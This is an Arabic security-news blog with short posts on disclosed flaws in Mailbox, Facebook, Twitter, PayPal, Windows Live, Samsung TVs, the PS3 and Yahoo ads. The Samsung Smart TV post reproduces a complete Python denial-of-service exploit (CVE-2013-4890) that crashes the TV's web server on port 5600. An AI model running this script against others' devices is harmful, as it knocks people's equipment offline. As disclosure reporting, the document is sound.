إكتشاف ثغرة في تطبيق أي فون Mailbox

كشف باحث الأمن الإيطاليMichele Spagnuolo مؤخرا ثغرة خطيرة في تطبيق آي فون Mailbox
يحدث الخلل في أحدث نسخة من علبة البريد (1.6.2) المتوفرة حاليا من المتجر، و التي تنفذ أي كود جافا سكريبت الوارد في نص رسائل البريد الإلكتروني HTML . قضية يمكن أن يكون لها بعض الآثار الأمنية الخطيرة على خصوصية المستخدمين.

مع استغلال هذه الثغرة الأمنية، يمكن للمستخدم أن يتعرض لسرقة الحسابات،و رسائلspamال 
و التعرض لهجماتphishing  ببساطة عن طريق فتح رسالة بريد إلكتروني HTML تحتوي على كود جافا سكريبت خبيث .
والخبر السار هو أن المشكلة ربما ليست سيئة كما يبدو، لأن iOS وصناديق الحماية ، يتم بناؤها كمميزات أمان لمثل هذه  الأمور  ، وعادة لا تسمح أي عملية يمكن أن تكون ضارة ان تتم من دون إذن المستخدم، لذلك يبقى الإختراق رهينا بذكاء المستخدم و ما مدى معرفته !

هاكينغ نييوز.
الكاتب : Xgenius  Zoldik

إقرأ المزيد.. bloggeradsenseo

فيسبوك تصلح ثغرة أمنية تمكن الهاكرز من حذف أي صورة

تمكنت شركة فيسبوك مؤخرا من ترقيع ثغرة أمنية أخرى ، هاتة الأخيرة التي تمكن الهاكرز من حذف أي صورة على أي حساب على الموقع ، الثغرة تم أيجادها من طرف الباحث الأمني الهندي ▪ Arul Kumar ▪

حيث وجد الخبير الأمني هاته التغرة في النسخة المحمولة للفيسبوك حيث تكمنه من حذف أي صورة كيف ما كان نوعها دون تنبيه المستخدم بأن الصورة قد تم حذفها فجأة ، وذلك باعتماد المهاجم على حسابين فيسبوك لكي يتم استغلال التغرة على أكمل وجه.

حيث تتم العملية عن طريق إرسال طلب للفيسبوك بحذف صورة ما (الحساب الثاني) مع العلم أن صاحب الحساب الثاني لا يتوصل بأي تنبيه على سبيل المثال : هل فعلا تريد حذف هذه الصورة ؟ حيث تكمن الخطورة في سهولة استغلال هاته التغرة .

لكن المشكل هنا هو أن مهندسي فريق فيسبوك استعصى عليهم إصلاح هذا الخطأ البرمجي إلا بعد أن قام مكتشفها بإمدادهم بشريط ڤيديو يبين لهم كيفية عمل التغرة وكفية استغلالها حيث تمت مكافئته بمبلغ 12000 $ ☺

 يأتي إصلاح هاته التغرة مباشرة بعد إكتشاف الباحث الأمني الفلسطيني خليل شريتح لثغرة أمنية من نوع مختلف حيث يمكنك التعرف عليها من خلا زيارتك لهذا الرابط ■ حوار حصري لهاكينغ نيوز مع خليل مكتشف تغرة الفيسبوك ■

▐ وبالتالي يمكنكم مشاهدة هذا الشريط اسفله حيث يوضح لكم ماهية الثغرة عن قرب ▐

الكاتب : محمد لحلو

قسم : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

إكتشاف ثغرة URL REDERICTION في أحد المواقع التابعة لشركة ESET من طرف JAMALCOM

 قام البارحة الأخ جمال الدين طالب بالمدرسة العليا للاساتذة بمدينة تطوان باكتشاف ثغرة من نوع URL REDIRECTION في موقع تابع لشركة ESET هذه الأخيرة المتخصصة في بيع منتجات الحماية المعلوماتية والعديد من برامج الأنتي ڤايرس ، في حين أن الأخ جمال قام بالتبليغ عن التغرة لموقعESET مما جاء الرد غريب نوع ما حيث أكدو له أن التغرة لا تعني موقعهم مباشرة بل تهم الموقع الشريك لشركة achat-licence.fr، حيث قامو بترقيع الثغرة وعدم المبالاة بمكتشفها 

فللتعرف على الثغرة عن قرب يرجى مشاهدة الڤيديو أسفله : 

محمد لحلو : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

طالب من جامعة القدس يكتشف ثغرة في تطبيق سامسونج على فيسبوك

كشف طالب قسم هندسة الحاسوب في جامعة القدس خالد حماد، ثغرة في احد التطبيقات لشركة "سامسونج" على صفحتها على موقع "فيسبوك"، وجاء ذلك بعد عدة مراسلته الشركة، لابلاغهم عن وجود ثغرة في التطبيق تمكن الشخص من دعوة عدد لا نهائي من الاصدقاء، بدلا من 50 طلب صداقة التي يحددها نظام "فيسبوك"

التطبيق الذي برمجته الشركة الكورية، صمم لعمل مسابقة على "فيسبوك" وذلك من اجل زيادة عدد معجبي صفحتها في الشرق الاوسط "Samsung Middle East"، من خلال دعوة كل مشارك لاصدقائه من اجل المشاركة في الصفحة ذاتها، وبالتالي كل شخص يدعو اصدقاء اكثر يحصل على نقاط اكثر، تؤهله للفوز بجوائز بشكل اكبر، التطبيق المذكور يسمح للمشارك ان يدعو فقط 50 صديق له يوميا، الا ان حماد قام بوضع رمز "كود" معين، حصل من خلاله على دعوة عدد لا نهائي من الاصدقاء، بالاضافة الى الكشف عن بيانات كل شخص مشارك في المسابقة.

ويقول حماد في حديثه لـالقدس دوت كوم أنه "بعد عدة مراسلات مع الشركة التي تعاملت مع الموضوع بجدية كبيرة ومتابعة متواصلة، منحته جهاز محمول من نوع جلاكسي S3 وتشجيعا له قامت الشركة بترقية الهدية المقدمة الى جهاز جلاكسي S4 بعد تقديم كافة المعلومات الخاصة بالثغرة"

يذكر أن الطالب حماد لم تكن هذه اولى اكتشافاته التكنولوجية فقد عمل على استرجاع الكثير من المجموعات المسروقة على "فيسبوك"، وايضاً على اكتشاف ثغرات في أنظمة مؤسسات كبيرة

 : يمكنكم كذالك التعرف على نوعية الثغرة عبر مشاهدة هذا الڤيديو

الكاتب : محمد لحلو 

قسم : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

فيسبوك تستغل عراقي في كشف ثغرة امنية ومن بعد تدير ضهرها له

بعد ما قامت شركة فيسبوك بعدم إعطاء الخبير الأمني الفلسطيني خليل شريتح مستحقاته لإكتشافه لثغرة حرجة في موقعها ، يأتي الآن هاكر آخر عراقي الأخ كرار الشامي باكتشاف ثغرة حرجة أخرى في الموقع تتيح له مسح اي صورة او بوست لأي حساب وقد قام بدوره بتبليغ شركة فيسبوك بالثغرة حاله كحال جميع هاكرز العالم المحترفين ، فكما تعلمون أن شركة فيسبوك تقوم بمنح كل هاكر يكتشف ثغرة امنية في موقعها جائزة مالية تقديرا له وعلي مجهوداته ، لكن كما ستشاهدون في الفيديو أن شركة الفيسبوك بعد تسلمها تقرير الاخ كرار بوجود الثغرة ، قامو مباشرة بإغلاق الثغرة ولم يردو عليه ، حيث قامو بتبرير موقفهم بعدم توفرهم على تفاصيل أكثر من طرف الأخ كرار ، لكن السؤال المطروح هنا ، لماذا شركة فيسبوك أصبحت تتعامل مع الهاكر العرب بهذا الأسلوب الدنيئ ؟ هل فقط هم عرب أم هذه سياسة ينهجها هذا الموقع ؟

الكاتب: محمد لحلو

قسم : هاكينغ نيوز ، ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

إكتشاف العديد من الثغرات في موقع تويتر من طرف الهاكر الموريتاني

أصبح موقع تويتر منصة لإكتشاف التغرات من شتى الأنواع حيث قام العديد من الباحثين الأمنيين باكتشاف العديد من الثغرات الأمنية الخطيرة في هذا الموقع حيث قام الهاكر الموريتاني التابع لمجموعة AnonGhsot باكتشاف 3 تغرات في موقع تويتر حيث تتنوع أصنافها لكن تتوحد في نفس النتيجة ألا و هي سحب إسم المستخدم و كلمة مروره 

حيث قام هذا الهاكر بعد عدة أيام بسحب ما يزيد عن 15000 حساب تويتر متعملا oauth_token للحساب ، حيث أعرب هذا الهاكر أن جميع الحسابات تويتر هي معرضة لخطر تسريب معلوماتها وذلك بدون أي تفاعل مع الضحية

الثغرة الأولى : تتمركز في قالب موقع التويتر XML مما تؤدي إلى إمكانية سحب و تحويل معلومات المستخدمين بما في ذلك الباسوورد وإسم الدخول

التغرة الثانية : توجد في تطبيقات التويتر TWITTER APPS هاته الأخيرة تمكن الهاكر من سرقة oauth_token للحساب ، وأشار أيظا إلى أن 80 في المائة من تطبيقات التويتر يمكن استغلالها بهذه الثغرة

الثغرة الثالثة : محورها يتضمن إمكانية استخراج كم هائل من الإيميلات و كلمات المرور من موقع التويتر 

للإشارة فقط فإن الهاكر الموريتاني لم يذكر كيفية استغلال هاته التغرات بل اكتفى فقط بنشرها و تحذير مستخدمي الموقع من هاته التغرات التي تهدد خصوصياتهم و معلوماتهم الشخصية

الكاتب : محمد لحلو

قسم : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

مغربيان يتمكنان من إكتشاف تغرة أمنية في windows live من نوع XSS

تمكن طالبين مهندسين في السنة التالتة بالمدرسة الوطنية العليا للمعلوميات و تحليل النظم بالمغرب من إكتشاف تغرة من نوع XSS في WINDOWS LIVE 

حيث لم يتم الكشف عن الثغرة إلا بعد معاينة فريق شركة مايكروسوفت وذلك إتباعا لقانون الشركة في حماية المستخدمين غير ذلك فإن تغرة XSS تعتبر من أخطر الثغرات التي تصيب المواقع حيث تكمن خطورتها في إمكانية سحب كم هائل من بيانات الموقع و مستخدميه للإشارة فقط فإن أن الطالبين المغربيين لم يحصلوا على أي مقابل مادي من شركة مايكروسوفت لقاء إكتشاف التغرة ، بل اكتفو فقط بتعليق أسمائهم على لائحة مكتشفي الثغرات الأمنية بمايكرسوفت

محمد لحلو : هاكينغ نيوز

إقرأ المزيد.. bloggeradsenseo

پايبال تصلح ثغرة أمنية تمكن الهاكرز من حذف أي حساب كيف ما كان نوعه

قام الباحث في مجال الأمن المعلوماتي Ionut Cernica باكتشاف تغرة في الموقع الشهير پايپال ، هاته الأخيرة التي تمكنه من حذف أي حساب على الموقع و إنشاء حساب جديد بنفس إسم مستخدم الحساب الذي قام بحذفه ، حيث تكمن خطورة هاته الثغرة في إمكانية استغلالها عن بعد بدون أي تفاعل مع الضحية 

حيث أضاف مكثشف التغرة أنه في حالة توفرك على حساب أمريكي US فإنك تستطيع إظافة إيميل جديد لذالك الحساب حيث بعد إضافته مباشرة يحذف الإيميل الأصلي لذلك المستخدم وإنشاء حساب جديد بدون الحاجة إلى توصلك برسالة تخبرك أنه عليك أن تفعل ذلك الحساب

وبناء على ذلك قامت شركة پايپال بمكافئة للباحث الأمني بمبلغ مالي قدره 5000 دولار أمريكي أي مايعادل 3750 أورو، حيث يمكنكم الإطلاع على ماهية هاته التغرة في هذا الشريط الڤيديو أسفله

محمد لحلو : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

القراصنة يستغلون التوقف النهائي لتحديثات الاكس بي لتحقيق إنجازات جديدة

 من المرتقب أن يقوم فريق ميكروسوفت في الثامن من أبريل القادم بالتخلي عن دعم نظام ويندوز إكس بيحيث أن الشركة ستتوقف عن إطلاق تحديثات جديدة على المستوى الامني لنظامها القديم وتحاول الشركة جاهدة إقناع عملائها على التخلي عن نظام ويندوز اكس بي القديم و اختيار أنظمة أحدث من الويندوز لكنها تجد صعوبة في ذالك على اعتبار ان عدد كبير من هؤلاء متعلقون بنظام اكس بي حيث تشيرالإحصائيات ان 37 في المئة مازالوايستعملون ويندوز اكس بي كنظام تشغيل اساسي

أما بالنسبة لخبراء الامن المعلوماتي قائلين بأن النظام سوف يصبح كجنة للقراصنة من حيث كتابة تغرات جديد تسمح لهم بتطبيقها على النضام الذي سوف تتوقف تحدياتته ، حيث قد يتمكنون أيضا من التوصل إلى اكتشاف تغرات اخرى في ويندوز 7 و 8

هذا مبيان يبين مدى تغرات الويندوز مقارنة مع الأنضمة الأخرى

محمد لحلو : ثغرات أمنية

إقرأ المزيد.. bloggeradsenseo

تغرة في أجهزة Samusung SMART/TV تمكنك من عمل هجوم حجب الخدمة

هاكينغ نيوز : محمد لحلو

أكد الباحث في مجال الامن المعلوماتي مالك مسيلم على إيجاده لتغرة في أجهزة التلفاز سامنونج تمكنه من عمل هجوم حجب الخدمة،حيث يشكل هذا التهديد خطر كبير على هذه الأجهزة التلفزية ، حيث تتوفر هذه الاجهزة على قدرة الاتصال بالانترنيت عن طريق الواي فاي و بالتالي تمكنك من عمل هجوم حجب الخدمة عن طريق ارسال عدة بروتوكولات بشكل متتابع حيث يقوم الجهاز بحجب الصورة و الصوت متأترا بالهجمة

مع العلم أن هذا الهجوم يتم عن طريق سكريبت معين مكتوب بلغة البايثون حيث يتم تشغيله من جهاز متصل على نفس الشبكة التي عليها جهاز التلفاز

و أكد الباحث الامني ان الجهاز التلفزي متبث عليه ويب سرڤرحيث مباشرة بعد إرسال طلبات حجب

الخدمة من المهاجم يقوم السرڤر بالرد على هاته الطلبات عبر پورت5600 حيث يمكنه من حجب  الصورة و الصوت للجهاز

:السكريبت المستعمل في الهجمة

#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack

# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com

# Date: 07/21/2013

# CVE Number: CVE-2013-4890

# Vendor Homepage: http://www.samsung.com

# Description:

#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request

#   As a results, the TV reboots...

#   Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :) 

import httplib

import sys

import os

print "  ***************************************************************************************"

print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"

print "   Exploit: Denial of Service (DoS) attack\n"

print "   Description:\n"

print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."

print "     Tested successfully on my Samsung PS50C7700 plasma TV :) \n"

print "  ***************************************************************************************\n"

# Sends the payload

print "  Sending the malicious payload...\n"

conn = httplib.HTTPConnection(sys.argv[1],5600)

conn.request("GET", "A"*300)

conn.close()

# Checks the response

print "  Checking the status... (CTRL+Z to stop)\n"

response = 0

while response == 0:

  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")

  if response != 0:

    print "  Target down!\n"

هذا ڤيديو تجريبي لعمل الهجوم:

:هذا مثال على استعمال السكريبت عبر الترمينال 

إقرأ المزيد.. bloggeradsenseo

ضربة قاضية لشركة سوني بإختراق Playstation 3

إستطاعت مجموعة The Three Musketeers ان تعطي ضربة قاضية الى شركة سوني بإختراقها مرة اخرى نظام الحماية في بلايستيشن 3 ، بعدما إستطاعت الشركة فيما قبل من ترقيع ثغرة سابقة في Firmware بلايستايشن 3 بإصدارها تحديث Firmware 3.60،

لكي يستطيع الهاكر مرة اخرى إختراقه والدخول الى PSN كأي جهاز اصلي ، اكثر من ذلك بمساعدة مفاتيح LV0 يمكن للمهاجم ان يتفادى تحديتاث امنية جديدة ةلشركة سوني ، الامر الذي يجعل ترقيع الثغرة مرة اخرى امر اقرب منه الى المستحيل خصوصا وان مفاتيح Iv0 تمكن الهاكر من التعديل على خصإص بلايستيشن 3 في الوقت الراهن وكذلك في المستقبل ، مما يجعل الشركة الان في وضع محرج  خصوصا بعد نشر المجموعة معلومات الثغرة من هنا .

وتجدر الإشارة الى ان المجموعة رغم انها كانت السباقة في نشر إستغلال الثغرة بالمجان ، إلا ان ذلك كان رغما عن إرادتها ، ذلك لكون ان المجموعة كان تعتزم على بيع الثغرة ، إلا انه بسبب وصول مجموعة صينية تدعى BlueDiskCFW الى نفس الثغرة وتمكنها من إستغلالها بشكل ناجح ، جعل  مجموعة The Three Musketeers تضطر الى نشر تفاصيل إستغلال الثغرة بالمجان لكي تكون السباقة.

إقرأ المزيد.. bloggeradsenseo

ثغرة في نظام إعلانات ياهو تسمح للمهاجم بنشر برامجه الضارة

إذا كنت من مستعملي برنامج المحادثة ياهو ، فمن الافضل عدم النقر هذه الايام على الإعلانات التي تضهر في البانر الإعلاني المرافق لنافذة الدردشة ، كون انه  اكتشفت ثغرة امينة في نظام الإعلانات ياهو ، تسمح هذه الاخيرة بإضهار بعض الاعلانات لمواقع خبيثة .

فبعد تحيليل الهجوم توضح انه بعد النقر على البانر الإعلاني الصغير ، يتوجه المستخدم الى موقع اخر يفتح في المتصفح الإفتراضي ، حيث يطلب من المتصفح تحميل شريط ادوات، هذا الاخير الذي يحتوي على برنامج ضار يتبث على الحاسوب . سرعة إنتشار هذا البرنامج لصيقة بضهور إعلاناته على مساحة إعلانات ياهو ، خصوصا وان هذا البرنامج يستعمله الملاين حول العالم ، لذا إذا كنت قد نقرت على اي بانر إعلاني متواجد على برنامج الدردشة ياهو وتشعر انك ضحية قم بتحميل هذه الاداة من تقديم Bitdefender واعمل سكان لحاسوبك .

إقرأ المزيد.. bloggeradsenseo

مغربيان يتمكنان من إكتشاف تغرة أمنية في windows live من نوع XSS

 ياسر بوكير دو 21 سنة عبد الجليل دو 23 سنة طالبان مغربيان  تمكنا من إكتشاف ثغرة أمنية حرجة في

microsoft التابع لشركة windows live 

حسب ياسر بوكير فإنه لم يرغب في الكشف عن هذه التغرة  إلا بعد معاينة الأمر من طرف فريق مهندسي  مايكروسوفت حسب قانون شركة مايكروسوفت  من أجل  حماية المستخدمين النهائيين 

XSS التغرة من نوع 

 تعتبر بمثابة نقطة الانطلاق لتسريب بيانات المستخدم  و يمكن إستغلالها من طرف المهاجمين للإستيلاء على ملايين الحسابات

و للإشارة فإن المكتشفين طالبين مهندسين في السنة التالتة بالمدرسة الوطنية العليا للمعلوميات و تحليل النظم و لم يحصلوا على أي دفع مادي من شركة مايكروسوفت لقاء إكتشاف التغرة بل قد تم تدوين أسمائهم على قائمة مكتشفي الثغرات الأمنية الحرجة لسنة 2012 بمايكرسوفت 

مزيد من المعلومات من خلال الرابط التالي

http://www.zdnet.com/microsoft-patches-windows-live-identity-theft-flaw-7000000832/

إقرأ المزيد.. bloggeradsenseo

"مايكروسوفت" تسد الثغرات الأمنية في "ويندوز"

سان فرانسيسكو ـ أطلقت شركة مايكروسوفت أكبر مطور لبرمجيات الكمبيوتر الشخصي في العالم أكبر حزمة برمجيات لسد الثغرات الأمنية في نظام التشغيل ويندوز وبرنامج إنترنت إكسبلورر وغيره من البرامج التي تنتجها مايكروسوفت.

وتستهدف الحزمة سد 94 ثغرة أمنية معروفة في نظام التشغيل الذي تطوره ويندوز ويدير أكثر من 90% من أجهزة الكمبيوتر الشخصي في العالم.

ووصفت مايكروسوفت الأمريكية 6 ثغرات بأنها خطيرة وهو ما يعني أنها قد تسمح لمحترفي اختراق شبكات المعلومات بالسيطرة على جهاز الكمبيوتر عن بعد وتشغيل برامج غير مرغوبة عليه.

كما تشمل حزمة البرمجيات تحسين قدرة نظام التشغيل على مواجهة الفيروس الخطير ستوكسنت الذي يقول بعض الخبراء إنه تم تطويره من أجل اتلاف أنظمة الكمبيوتر الخاصة بالبرنامج النووي الإيراني. "

العرب أون لاين 13-10-10

إقرأ المزيد.. bloggeradsenseo